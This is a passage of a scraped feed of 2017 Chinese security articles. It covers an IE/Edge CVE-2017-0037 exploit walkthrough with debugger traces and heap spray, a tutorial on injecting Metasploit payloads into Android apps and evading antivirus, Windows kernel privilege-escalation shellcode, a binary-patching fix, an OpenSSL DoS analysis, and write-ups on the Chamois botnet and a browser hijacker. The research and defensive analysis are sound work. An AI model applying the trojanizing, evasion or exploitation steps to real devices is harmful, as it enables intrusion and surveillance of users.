<thid="th1"colspan="1"width=2021159></th> 0:005:x86>t MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable: 67afecf48b15fc5cb368movedx,dwordptr[MSHTML!_tls_index(68b35cfc)]ds:002b:68b35cfc=00000002 0:005:x86>p MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x6: 67afecfa64a12c000000moveax,dwordptrfs:[0000002Ch]fs:0053:0000002c=00000000 0:005:x86>p MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0xc: 67afed008b0490moveax,dwordptr[eax+edx*4]ds:002b:008f5dd0=008f0fb8 0:005:x86>ddecx//ecx存放的是Array 098563c8000000000c0c0c04a0a0a0a0a0a0a0a0

可以看到,通过修改Width和colspan,我们成功控制了Array+0x4位置的值,这样,在接下来由于TypeConfusion,会将这个int Array当成是vftable pointer返回,并继续执行。

0:005:x86>p//Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable函数 MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e: 67afed1683c010addeax,10h 0:005:x86>p MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21: 67afed19c3ret 0:005:x86>p MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36://返回之后,eax成功变成了0c0c0c14的值 683cfc87833800cmpdwordptr[eax],0ds:002b:0c0c0c14=00000000

可以看到,在返回后,我们可以成功控制这个返回指针了。接下来,我们利用heap spray来喷射堆,从而稳定控制0c0c0c0c位置的值。


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

CFG???从PoC到半个exploit

到此,我们完成了对漏洞函数返回值的控制,在文章最开始的时候,我们看到这个指针的值中的成员变量,会作为虚函数在后续call调用中引用,在此之前,会有一处CFG check。
0:007:x86>p//eax已经被我们控制,跳转到喷射结束的堆中 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d45: 683cfc968b18movebx,dwordptr[eax]ds:002b:0c0c0bb0=0c0c0c0c 0:007:x86>p MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d47: 683cfc988b03moveax,dwordptr[ebx]ds:002b:0c0c0c0c=0c0c0c0c 0:007:x86>p MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d49: 683cfc9a8bb8a4010000movedi,dwordptr[eax+1A4h]ds:002b:0c0c0db0=0c0c0c0c 0:007:x86>p MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d4f: 683cfca08bcfmovecx,edi 0:007:x86>p MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d51: 683cfca2ff1534afb568calldwordptr[MSHTML!__guard_check_icall_fptr(68b5af34)]ds:002b:68b5af34=67ac4b50//进入CFGcheck函数 0:007:x86>t MSHTML!CJSProtocol::`vftable'+0xc://这个CFG并无实际作用,直接返回了 67ac4b508bc0moveax,eax 0:007:x86>p MSHTML!CElement::OnGCFilteredForReplacedElem: 67ac4b52c3ret

这个CFG check在Win7中没有实际作用,如上代码跟踪的片段,进入CFG check之后,直接返回了,但是在高版本的Windows中,必须考虑CFG防护的绕过。


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

但是由于所有地址模块都开启了ASLR,而利用面来看的话,并没有地方可以泄露内存信息,也没有其他好用的利用点,这样的话就不好绕过ASLR和DEP,我在关闭win7 DEP的情况下,完成了利用。


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

感谢大家阅读,如果有不当之处,请大家多多交流,谢谢!


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit
【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3626.html

【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

$
0
0
【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

2017-03-20 11:37:12
来源:pentestlab.blog 作者:pwn_361

阅读:613次
点赞(0)
收藏





【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

翻译:pwn_361

稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

为了渗透用户的实际设备,将合法的安卓应用程序作为一个木马来使用是有可能的。正好,现在Metasploit框架已经有了这样的能力。可以将Metasploit载荷注入到Android应用(APK)中,该过程可以手动完成,也可以自动完成。这篇文章将主要探讨自动注入过程。当然,如果时间宽裕,使用手动方法也是可以考虑的。


生成载荷

可以使用Metasploit生成安卓渗透载荷,并将文件存储为APK格式,如下图所示:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

将载荷注入到APK中

将刚才生成的载荷注入到一个安卓应用中之前,需要先有一个目标安卓应用程序(APK文件)。如果该应用已经安装在手机中,那么这篇文章“Retrieving APK Files”可以当作从手机中提取APK文件的一个指南,当然,也可以从谷歌应用商店中直接下载应用。

有很多公开的脚本可以将Metasploit载荷注入到一个安卓应用中。然而,在某些特定的场景中,为了创建、并自动注入Metasploit载荷,也可以使用msfvenom工具,如下图示例所示:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

Msfvenom会对该应用程序进行反编译,然后会找到可以注入载荷的钩子点。进一步,它会利用可用于后渗透活动的附加权限使该应用程序的Android清单文件染毒。下图为输出结果:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

当然,使用Msfvenom执行载荷注入不是本文的主要目的,在本文中,我们使用apkinjector工具执行载荷注入活动,其它可以用于此目的的脚本还有以下几个:

1.Metasploit APK Embed Payload

2.APK Payload Injector

3.Backdoor APK

注意:为了演示目的,在这篇文章中,我们使用了一个真实的安卓应用程序,并起了一个显著的名称“target.apk”。

Apkinjector将会使用apktool工具完全反编译目标安卓应用程序,并将载荷注入到程序中,然后,Apkinjector会重新编译应用程序,并签名。下图是Apkinjector部分解码过程:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

Apkinjector将会尝试在文件中注入载荷,并再次使用apktool工具编译应用程序,并对应用程序签名。如下图:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

当然,为了收到载荷成功执行后返回的信息,我们还需要开启一个Metasploit监听:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷
然后,目标用户在他的手机中安装、并打开了修改过的APK,于是,该载荷会被执行,并会返回一个Meterpreter会话。

【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

在成功返回Meterpreter会话以后,存在很多可以使用的命令,可用于检查目标设备是否已经root、或下载联系人列表、接收该手机的短信消息、或者使用手机相机拍个照片。所有这些活动依赖该安卓应用程序(被注入了载荷)的权限,它已经在安卓清单文件中定义了。


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

载荷免杀

如果目标设备中安装了反病毒软件,有可能会造成载荷在设备中被阻止,无法运行。不过,在APKwash工具的帮助下,避开杀毒软件是有可能的。该脚本为了避开杀毒软件,会修改所有字符串和文件结构,然后利用apktool工具重建安装包。


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

免杀效果可以通过将APK上传到nodistribute.com网站来验证:


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷

从上表中可知,只有卡巴斯基一个安全厂商有能力探测到该恶意APK,这增加了该恶意APK成功的可能性。其它工具,如Veil和Shelter也可用于高效的免杀。


【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷
【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentestlab.blog/2017/03/13/injecting-metasploit-payloads-into-android-applications/

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

$
0
0
【技术分享】探索基于windows 10的Windows内核Shellcode(Part 3)

2017-03-20 13:58:52
来源:improsec.com 作者:金乌实验室

阅读:374次
点赞(0)
收藏





【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

翻译:金乌实验室

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 1)

【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 2)


前言

这篇文章是Windows内核shellcode系列的第三篇,在这篇文章中我们探讨Cesar Cerrudo在2012年Black Hat上提出的三种方法中的最后一种方法---启用权限,我们专注于进程token中的权限。(本系列的第一篇文章探讨的是替换进程token,地址是链接;第二篇文章探讨的是清除ACL,地址是链接)。


分析

前两篇文章中使用的假设同样适用于本篇文章,即假设漏洞利用已获得任意内核模式代码执行,我们可以手动运行汇编代码。启用权限技术非常简单明了,但是应用却并不广泛。其理念是定位cmd.exe进程的token,或者是任何获得提升权限的进程,并修改已经启用的权限。

查看Token对象的结构,我们发现:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

_SEP_TOKEN_PRIVILEGES结构位于offset 0x40处,正如Cesar所描述的。深入探查后我们发现:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

仍然是完全相同的布局,因此可以得出这种技术的背景并没有改变。我们需要修改进程token中的offset 0x48,以启用所述进程的权限。


The Shellcode

我们用和前两次相同的方式开始,即从GS寄存器中找到KTHREAD,然后从KTHREAD的offset 0x220处找到EPROCESS:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

我想启用parent进程的权限,也就是cmd.exe进程。当我从一个独立的二进制启动漏洞利用时,我找到了cmd.exe的EPROCESS。方法如该系列的第一篇文章中描述的那样,parent进程的PID位于EPROCESS中的offset 0x3E0处:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

一旦我们找到了EPROCESS,我们就能在offset 0x358处找到指向token的指针,记住指针是一个快速引用,所以低4位应该被忽略。然后我们更改offset 0x48的值,以启用我们想要的所有权限:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

运行shellcode,从whoami / all得到以下输出:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

我们启用了很多权限,这里只列出了目前存在的权限。当我们启动子进程的时候,它继承了parent进程的权限,这意味着如果我们启动一个应用程序将代码注入到一个特权进程,例如winlogon.exe,我们可以创建一个新的SYSTEM integrity cmd.exe:


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)

我们能够使用可用的权限做更多的事情。完整的汇编代码可以在GitHub上找到 (地址)。


结语

至此,这个系列的文章就完结了。总结一句话就是,Cesar Cerrudo在2012年提出的想法和技术,只要做一些修改,在2017年仍然适用。


【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)
【技术分享】探索基于Windows 10的Windows内核Shellcode(Part 3)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://improsec.com/blog//windows-kernel-shellcode-on-windows-10-part-3

【技术分享】如何反汇编二进制代码打补丁

$
0
0
【技术分享】如何反汇编二进制代码打补丁

2017-03-20 16:16:34
来源:infosecinstitute.com 作者:testvul_001

阅读:420次
点赞(0)
收藏





【技术分享】如何反汇编二进制代码打补丁

翻译:testvul_001

稿费:130RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

生产环境中的软件通常会存在一些漏洞,这些漏洞可能是由于糟糕的编码实践或者在软件开发生命周期里对安全的处理代码参数缺乏足够的认识造成的,最终导致漏洞被黑客利用。攻击软件同时需要安全策略能力和开发技能,但是很不幸,很多开发商本身也不具备这些能力。在本篇中,我们将展示在没有源代码的情况下怎么通过反汇编来给软件打补丁(存在缓冲区溢出漏洞)。


有漏洞的软件

给软件打补丁是一种通过反汇编找到有问题的代码段并修改有问题代码的方法。我们的例子是一个很简单的程序,它接受用户输入的一段字符串,然后再输出到屏幕上。


【技术分享】如何反汇编二进制代码打补丁

但是这个程序存在一个问题,机智的黑客很容易就会发现它。这里开发者忘记验证用户的输入了,假如用户输入的字符串长度超过了预期怎么办?现在我们就输入超长的字符串,程序出现了一些异常,系统提示了一个缓冲区溢出错误并终止了(缓冲区溢出漏洞不属于本篇的内容,请读者自行了解)。这个异常不是程序的预期结果。


【技术分享】如何反汇编二进制代码打补丁

分析BUG

现在我们已经知道程序存在缓冲区溢出漏洞了,但是我们没有源代码该怎么修复呢?当然有办法,现在已经有很多著名的逆向工程工具了,这里我们将使用IDA Pro和Ollydbg来完成任务。首先使用IDA Pro打开可执行程序,通过查看汇编代码我们很快就能发现漏洞的原因了,scanf函数没有检查输入字符串的长度(%s)。


【技术分享】如何反汇编二进制代码打补丁

我们已经找到要修复的代码段了(scanf),现在只需要在格式化输入字符串中加入一个整数就可以解决问题了(例如%10s)。但是我们现在不知道原来代码里存储用户输入字符串的字符数组的大小,要解决这个问题我们在Ollydbg中打开可执行程序。我们可以很轻松的发现数组的大小是16,OD同时也显示了 %s 字符串的偏移地址。


【技术分享】如何反汇编二进制代码打补丁

所以用%15s替换%s就可以修复这个漏洞,找到下图高亮的代码段并按下CTRL+G我们就可以直接访问地址0040401B了。


【技术分享】如何反汇编二进制代码打补丁

下面我们就要修改指令了AND EAX 590A0073(16进制的代码25 73 实际上就是%s)。


【技术分享】如何反汇编二进制代码打补丁

为了更好的理解,我们可以在16进制编辑器中查看需要修改的代码块(地址0040401B)。


【技术分享】如何反汇编二进制代码打补丁

打补丁

要在二进制代码中打上补丁,我们需要选中地址0040401B并按空格键(我们需要把%15s写到这里)。


【技术分享】如何反汇编二进制代码打补丁

在把%15s输入前,我们需要先把它转换为16进制。


【技术分享】如何反汇编二进制代码打补丁

现在我们可以用31:35:73 (%15s) 替代590A073了,但是在内存中我们需要调换一下位置,即733531,因为16进制代码在执行时总是后进先出。


【技术分享】如何反汇编二进制代码打补丁

最后,右击0040401B地址处,然后点击Edit标签中的“copy to executable”来永久保存我们的修改。


【技术分享】如何反汇编二进制代码打补丁

这时会出现一个新的窗口,关闭它的时候会提示是否保存。我们保存并为程序取一个新名字,然后在OD中再次打开这个新的程序,因为还有一些工作没有做完。一次成功的补丁不仅恩能够修复漏洞,而且程序还要能够像以前一样正常运行。这里我们修复了缓冲区漏洞,但是程序并不能正常运行,原因是我们增加的字节影响了原来的程序执行流程。CTRL+G跳转到0040401E:


【技术分享】如何反汇编二进制代码打补丁

这里我们可以发现JNB SHORT 00404020指令跳转出错了,它应该跳转到输出字符串的printf函数处,正确的地址是0040402D。


【技术分享】如何反汇编二进制代码打补丁

在0040401E处我们按下空格键并修改代码。


【技术分享】如何反汇编二进制代码打补丁

然后我们在0040401E处再次右键并“copy to executable”保存一个新的可执行文件。现在我们执行可执行文件,并随便输入超过16个字节的字符串,可以看到一切正常。


【技术分享】如何反汇编二进制代码打补丁

总结

软件里的漏洞会被黑客以任何可能的理由利用,不管这些漏洞是有意或者无意形成的,在这篇文章中我们都学会了如果通过逆向工程在没有源代码的情况下给程序打补丁。


【技术分享】如何反汇编二进制代码打补丁
【技术分享】如何反汇编二进制代码打补丁
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://resources.infosecinstitute.com/patching-reversing-binary/

【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

$
0
0
【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

2017-03-20 15:33:44
来源:mcafee.com 作者:啦咔呢

阅读:674次
点赞(0)
收藏





【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

翻译:啦咔呢

稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

OpenSSL是一个流行的SSL开源库,被世界各地的各种软件和公司使用。1月份,OpenSSL发布了一个更新以修复多个漏洞。其中之一就是CVE-2017-3731,这可能导致由于程序崩溃而引发的拒绝服务。McAfee 实验室分析了此漏洞来为客户提供检测。


使用patch diff来找出修改的地方

补丁修改了一些与各种密码算法相关的文件。对于本报告,我们将检查代码e_chacha20_poly1305.c。以下代码显示此文件的修补程序,取自https://git.openssl.org/?p=openssl.git;a=commitdiff;h=2198b3a55de681e1f3c23edb0586afe13f438051。


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

我们可以看到,添加了一个简单的步骤来检查变量长度的值与常量POLY1305_BLOCK_SIZE的大小关系,而紧接着下面我们看到变量“len”减去了这个常量。

如果我们查看声明就能发现,POLY1305_BLOCK_SIZE在文件poly1305.h中声明为“#define POLY1305_BLOCK_SIZE 16”。而变量len在e_chacha20_poly1305.c中定义为“unsigned int len;”。

因此,如果变量len小于16,它将导致整数下溢,也就是说,len的值将变得非常大。然后当该值被使用时,可能会导致正常程序流出现问题,因为len的值不正确。


进一步挖掘

我们可以看到在前面的图片中,这个len值被分配给“actx-> tls_payload_length”。然后调用函数chacha20_poly1305_cipher。在此函数内,actx-> tls_payload_length被分配给变量“plen”:


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

注意,变量plen将得到从先前的len整数下溢导致的非常大的数值。我们可以进一步看到plen的值传递给函数poly1305_Update:


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

Poly1305_Update调用函数Poly1305_blocks时将携带此大值:


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

如果我们仔细看看函数,我们可以看到变量len包含一个非常大的整数值,但是却被用来作“while”循环中的计数器:


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

我们还可以看到对函数U8TOU32的调用,该函数读取* inp(指针)的值,并且在循环的每次迭代中,* inp的值加上一次POLY1305_BLOCK_SIZE。因为len的值非常大,最终* inp将指向不可读的内存。尝试读取将导致访问异常错误 - 导致OpenSSL崩溃。


从网络中利用漏洞

要利用此漏洞,客户端需要使用chacha20_poly1305加密套件(或另一个加密漏洞,可从补丁diff中看出),并发送加密的握手消息,其中记录长度小于16个字节(在使用chacha20_poly1305加密套件的情况下)。这将导致整数下溢致使OpenSSL崩溃,我们可以在以下图像看到运行中的OpenSSL和Gnu Debugger:


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务

结论

OpenSSL非常流行,因此可以成为拒绝服务攻击的目标。这些类型的漏洞可能影响许多安装此组件的应用程序。我们建议用户将其使用的OpenSSL安装更新到最新版本。

McAfee 网络安全平台客户已经通过签名ID:0x45c09400受到关于此漏洞的保护。


【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务
【漏洞分析】CVE-2017-3731:截断的数据包导致OpenSSL拒绝服务
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/?utm_source=twitter&utm_campaign=Labs#sf61253943

【技术分享】Android欺诈僵尸网络Chamois的检测和清除

$
0
0
【技术分享】Android欺诈僵尸网络Chamois的检测和清除

2017-03-20 15:03:36
来源:googleblog.com 作者:shan66

阅读:576次
点赞(0)
收藏





【技术分享】Android欺诈僵尸网络Chamois的检测和清除

作者:shan66

稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

一直以来,Google都在致力于为各种设备和环境中的用户提供全面的保护,其中就包括设法让用户免受潜在有害应用程序(PHAs)的侵害,因此,我们就有机会观察针对我们的生态系统的各种类型的威胁。例如,我们的安全团队最近发现了一个针对我们的广告和Android系统的新型PHA家族,我们将其命名为Chamois。同时,我们也迅速为用户提供了相应的防护措施。Chamois是一个Android PHA家族,它们能够:

通过广告弹窗中的欺骗性图像生成无效流量

通过在后台自动安装应用来进行人工应用推广

通过发送高级文本消息进行电话欺诈

下载和执行其他插件


扰乱广告生态系统

我们是在日常的广告流量质量评估中检测到Chamois的。我们针对基于Chamois的恶意应用程序进行了细致的分析,发现它们可以通过多种方法来规避检测,并试图通过显示欺骗性图像来诱骗用户点击广告。有时,这还会诱骗用户下载其他发送短信欺诈的应用程序。因此,我们果断通过Verify Apps阻止了Chamois应用系列,同时将试图扰乱我们的广告系统的不良分子清除了出去。

正是由于我们在处理广告诈骗应用程式方面已经积累了大量经验,因此我们的小组才能立即采取行动,迅速为广告客户和Android使用者提供了及时的保护。由于这种恶意应用程式并不会显示在手机的应用程式清单中,因此大部分用户都觉察不到这个恶意程序的存在,更别提卸载它了。这时Google的Verify Apps就显示出巨大的威力了,因为它可以帮助用户发现PHA并删除它们。


解开Chamois的神秘面纱

Chamois是Android平台上迄今为止最大的PHA家族之一,它可以通过多种渠道进行分发。据我们所知,Google是第一个公开发现和跟踪Chamois的公司。

Chamois有一些特殊的功能,使它看起来与众不同,这些功能包括:

多阶段有效负载:其代码能够在4个不同的执行阶段使用不同的文件格式,具体如图所示。


【技术分享】Android欺诈僵尸网络Chamois的检测和清除

这种功能提高了及时识别这种PHA的难度,因为必须首先剥离多层伪装,才能接触到恶意代码部分。不过,Google早就为针对这种情况提供了相应的措施。

自我保护:Chamois试图通过混淆技术和反分析技术来逃避检测,但我们的系统能够有效对抗这些诡计,从而可以有效地对各种应用程序实施检测。

定制的加密存储:Chamois为其配置文件和一些重要代码使用了自定义的加密文件存储技术,而我们只有深入分析这些加密资料才能对它进行定性。

软件大小:我们的安全团队筛选了超过100K行的复杂代码,这些代码看上去都是由专业的开发人员编写的。由于APK的规模庞大,需要耗费大量时间才能深入细致的了解Chamois。


Google针对PHA的抵御之道

当用户下载已确认为PHA的应用时,Verify Apps会向用户提出警告,从而保护用户免受已知PHA的攻击,并且还允许用户卸载已安装的恶意应用。此外,Verify Apps还会监视Android生态系统状态的异常情况,并针对这些情况进行深入的调查。它还有助于通过设备上的行为分析找出未知的PHA。例如,许多由Chamois下载的应用程序,其DOI得分都比较靠前。此外,我们已经在Verify Apps中实施了相应的规则,来保护用户免受Chamois的攻击。

今后,Google还将继续加大在Android及其广告系统的反滥用技术方面的投入,同时,我们也为在幕后为对抗诸如Chamois等PHA而辛勤工作的团队感到自豪。我们希望本文能够对读者洞悉日益复杂的Android僵尸网络有所帮助。若要深入了解Google在反PHA方面的工作以及如何降低PHA对用户、设备和广告系统带来的风险的话,敬请关注即将发布的“Android安全2016年年度回顾”报告。


【技术分享】Android欺诈僵尸网络Chamois的检测和清除
【技术分享】Android欺诈僵尸网络Chamois的检测和清除
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://security.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html

【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

$
0
0
【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

2017-03-20 18:23:20
来源:安全客 作者:360安全卫士

阅读:302次
点赞(0)
收藏





【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

0x00 前言

对于网站上的各种弹窗侧栏广告,大家已经屡见不鲜。我们一边通过网站获取我们想要的信息,一边默默忍受的各种广告的苦恼。

网站论坛通过投放广告来获得收入,这是无可厚非的,但是,我们在网站上看到的各种广告,并不一定就是该网站正常投放的,有可能是其他恶意软件通过某种技术手段,进行的流氓广告推广。这种恶意软件一旦得以运行,往往会使用户的浏览器上出现各种莫名的、来历不明的“幽浮”广告。

近日,360互联网安全中心捕获到一个恶意软件程序,该恶意软件正是通过劫持浏览器,注入恶意的JS代码,从而达到投放流氓广告获利的目的。


0x01 恶意软件信息

该恶意软件名为“WebJs”,打开之后,无任何界面,一直在后台静默运行。通过对该恶意软件的分析以及溯源,发现该软件是由一个名为浏览器卫士(HProtect)的软件下载并安装运行的,该浏览器卫士其实是一个假借着保护浏览器的名义的流氓软件,它会阻止其他浏览器以及安全软件的安装,破坏安全软件的功能,同时会静默下载安装推广软件。通过搜索,发现很多用户都遇到过这种问题,如下图所示。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图1浏览器卫士的相关问题(一)

同时也有很多网友反馈该浏览器卫士来自系统自带,由此可见盗版的系统安装镜像也是该恶意软件的传播渠道之一,如下图所示。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析
图2浏览器卫士的相关问题(二)

0x02 运行效果

该恶意软件一旦得以运行,用户使用浏览器打开的任何HTTP页面都会被插入恶意的JS代码,这里以IE打开360搜索主页(www.so.com)为例,通过使用网络监控工具,可以发现本来应该是IE浏览器发送给服务器的请求,却全部被重定向到WebJs.exe,查看该页面的Web源码,发现该页面被插入了恶意的JS代码,该类型的恶意代码通常是用来进行各种广告的推广,比如浏览器右下角的弹窗,左右侧广告等等,如下图所示。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图3 HTTP劫持效果


0x03 基本流程

该恶意软件采用了中转服务器的方式,它分为主体程序WebJs.exe和劫持DLL两部分,WebJs.exe主要负责注入劫持DLL到浏览器进程中、中转浏览器的请求以及篡改HTTP响应包,劫持DLL主要是负责将浏览器的HTTP请求重定向到WebJs.exe。正是通过此种手法来劫持浏览器上的所有HTTP数据,注入恶意的JS代码,其主要工作流程如下图所示。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图4 WebJs恶意软件工作流程


0x04 详细分析

4.1 WebJs.exe运行之后,会立即添加自身到自启动项中,以便常驻系统。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图5 添加自启动

4.2从自身资源中释放恶意的劫持DLL文件,加载并运行DLL中的SetShellHook函数,实现DLL注入功能。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图6 释放并运行劫持DLL

4.3 监听本地9868端口,该端口总是接收来自各个浏览器的HTTP请求,然后中转该请求。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图7 监听9868端口并处理请求

4.4劫持浏览器的所有HTTP链接,并篡改HTTP响应包,向HTML页面中插入恶意代码。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图8 插入恶意的JS脚本

4.5 在WebJs.exe运行之后,一旦用户打开浏览器,就会被注入劫持DLL文件(1.dll),该劫持DLL会判断当前进程是否为浏览器。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图9 判断宿主进程是否是浏览器

4.6 Hook浏览器的connect函数,将浏览器的所有的HTTP链接重定向到本机的9868端口,也就是WebJs.exe监听的端口,这样就完成了HTTP的劫持流程。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图10 劫持HTTP请求到本地的9868端口


0x05 查杀情况以及如何防范

目前,360安全产品已经能够对该恶意程序进行查杀,如果在上网的过程中遇到文中类似的问题,请及时进行扫描查杀。

在此360反病毒专家提醒广大用户,请使用正规渠道的系统镜像安装系统,请谨慎使用来路不明的程序,保持杀毒软件常开,定期进行安全体检。如果发现异常程序,请及时向360互联网安全中心反馈,我们会在第一时间协助您解决问题。


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析

图11 VirusTotal的查杀情况


【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析
【木马分析】“幽浮”广告:一个浏览器劫持软件的技术分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3637.html

遭遇网络攻击后,这家电商平台宣布正式关闭

$
0
0
遭遇网络攻击后,这家电商平台宣布正式关闭

一点号李文栋昨天

提起借卖网,估计做外贸的朋友应该比较熟悉,2010年10月上线的借卖网隶属于深圳借卖网电子商务有限公司,是一家从事外贸货源分销的平台。

但2016年03月16日,借卖网官方公众号推送消息宣布正式关闭借卖网,据其官方说明关闭的原因起源于6天前的网络攻击。


php?url=0FtfO5uGjF" alt="遭遇网络攻击后,这家电商平台宣布正式关闭" />

据借卖网表示:2017年03月10时左右,借卖网所在的服务器遭遇恶意网络攻击,导致网站瘫痪,无法正常运转,虽然技术团队在积极的进行抢修,但由于攻击力太强,导致网站毁坏严重,经确认已经无法恢复,因此经过公司的商榷,决定正式关闭借卖网!

据了解,借卖网隶实质是跨境物流快递深圳市前海转运四方现代物流有限公司旗下的子公司,曾在2011年11月获得深圳市创新投资集团2000万元的A轮投资,主要职能是向卖家提供从货源开发、采购、质检、库存管理、仓储管理、订单处理到全球物流配送的一站式后勤服务解决方案


遭遇网络攻击后,这家电商平台宣布正式关闭

而对于借卖网因遭遇攻击关闭的情况,外界众说纷纭,更多的声音则在质疑网站关闭是否另有其因,当然,这不是我们今天要讨论的重点。

笔者之所以今天会整理这篇稿子,是因为笔者的一个用来记录日常流水的小博客近两天也遭遇了不明身份人员的袭击,导致网站数据库全部被清空!


遭遇网络攻击后,这家电商平台宣布正式关闭

今天笔者登录自己的小博客想记录一点琐碎的事儿,才发现后台一直无法登录,在密码找回时候笔者意外的发现找回的帐号居然为空,要知道,SQL数据库里是不存在登录帐号为空的情况。

于是笔者登录网站服务器,登录SQL管理器准备查个究竟,然后才知道,数据被完全清空了,正常来说SQL里面如果存有数据的话,都是有容量的,而这个网站SQL里的数据居然全部都是1KB,这就意味着,有人做了删库处理!


遭遇网络攻击后,这家电商平台宣布正式关闭

不过万幸的是,去年笔者就在其他网站上遭遇过数据全部损毁无法找回的悲剧,跌过跟头的我算是养成了一旦有新的数据写入就会立即备份的习惯,因此这次的事情对于笔者并没有带来什么实质性的影响,倒是给笔者提了个醒!

当然,作为非技术人员,笔者无力去追查到底是何人所为,在这里也只能提醒读者朋友们,如果有做网站或者做运维的,最好能够做好容灾处理、做好数据的备份工作,毕竟很多时候数据是无价的!

原创声明:本文(不含图片)由文栋说自媒体网站原创,享有独立版权,如需转载敬请带上本段版权,本站对一切转载不保留版权的行为追究法律责任!

Viewing all 12749 articles
Browse latest View live